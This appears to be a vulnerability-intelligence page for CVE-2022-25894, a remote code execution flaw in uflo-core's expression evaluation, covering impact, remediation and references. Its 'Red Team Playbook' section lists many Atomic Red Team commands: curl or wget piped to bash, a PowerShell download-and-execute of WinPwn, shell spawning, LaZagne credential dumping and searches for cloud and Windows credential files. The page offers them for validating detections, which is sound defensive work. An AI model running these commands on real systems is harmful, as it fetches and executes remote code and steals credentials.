CVE-2022-25894
Overview
This vulnerability is a remote code execution flaw caused by improper input validation in the ExpressionContextImpl class of the uflo-core component. Specifically, the vulnerability arises from the unsafe evaluation of user-supplied expressions via the jexl.createExpression(expression).evaluate(context) method, which fails to sanitize or restrict the input expression, allowing arbitrary code execution within the expression evaluation engine.
Vulnerability Description
All versions of the package com.bstek.uflo:uflo-core are vulnerable to Remote Code Execution (RCE) in the ExpressionContextImpl class via jexl.createExpression(expression).evaluate(context); functionality, due to improper user input validation.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected system by supplying malicious expressions to the vulnerable evaluation method. Since the attack vector is network accessible and requires no privileges or user interaction (AV:N/AC:L/PR:N/UI:N), it allows full compromise of the application and underlying host. This can lead to data breaches, service disruption, and potential lateral movement within the network due to the high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade to a patched version of com.bstek.uflo:uflo-core as recommended by the Snyk advisory (SNYK-JAVA-COMBSTEKUFLO-3091112). Detailed patch instructions and version updates are available at https://security.snyk.io/vuln/SNYK-JAVA-COMBSTEKUFLO-3091112. No official vendor advisory ID is provided, but the referenced GitHub commit and community advisories highlight the fixed code. Applying the update that restricts or sanitizes expression evaluation is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the uflo-core package arises from inadequate validation of user input within the ExpressionContextImpl class. This flaw allows an attacker to exploit the jexl.createExpression(expression).evaluate(context) functionality, leading to remote code execution (RCE). The core issue lies in the way expressions are processed without sufficient checks on the input provided by users. When an attacker crafts a malicious expression, it can be executed in the context of the application, potentially allowing them to execute arbitrary code on the server. This lack of input sanitization creates a significant security gap, particularly in environments where uflo-core is integrated into business processes.
Attack vectors for this vulnerability are varied and can be executed through multiple means. An adversary could leverage web applications that utilize uflo-core to process user-generated expressions. For instance, if an application allows users to input expressions that are subsequently evaluated, an attacker could submit a crafted expression designed to execute harmful commands. This could be done through direct API calls, web forms, or any interface that accepts user input for expression evaluation. The exploitation of this vulnerability could be automated, allowing attackers to scan for vulnerable instances of the uflo-core package and execute their payloads without needing extensive manual intervention.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on uflo-core for business process management. Successful exploitation could lead to unauthorized access to sensitive data, manipulation of business logic, or even complete system compromise. The potential for data breaches, loss of intellectual property, and disruption of services poses a significant business risk. Organizations may face regulatory penalties, reputational damage, and financial losses due to downtime or recovery efforts. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is critical, necessitating immediate attention from security teams to mitigate the associated risks.
To detect this vulnerability, organizations should implement comprehensive logging and monitoring of application behavior, particularly focusing on the evaluation of expressions. Anomalies in application logs, such as unexpected execution paths or unauthorized command invocations, can serve as indicators of exploitation attempts. Additionally, static code analysis tools can be employed to identify instances of the vulnerable functionality within the codebase. For mitigation, upgrading to a patched version of the uflo-core package is essential, as this will address the input validation issues. Organizations should also adopt a principle of least privilege, ensuring that the application runs with minimal permissions necessary to function, thereby limiting the potential impact of any successful exploitation.
In conclusion, the vulnerability within the uflo-core package presents a significant threat landscape for organizations utilizing this software. The combination of inadequate input validation and the potential for remote code execution creates a critical risk that must be addressed promptly. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare their defenses. Implementing robust detection mechanisms and ensuring timely updates will be crucial in safeguarding against this and similar vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Uflo Project | Uflo | All |
cpe:2.3:a:uflo_project:uflo:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-25894 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-JAVA-COMBSTEKUFLO-3091112 |
| github.com |
GitHub CVE
|
https://github.com/youseries/uflo/blob/b3e198bc6523e5a6ba69edd84ba10e05a3b78726/uflo-core/src/main/java/com/bstek/uflo/expr/impl/ExpressionContextImpl.java%23L126 |
| fmyyy1.github.io |
GitHub CVE
|
https://fmyyy1.github.io/2022/10/23/uflo2rce/ |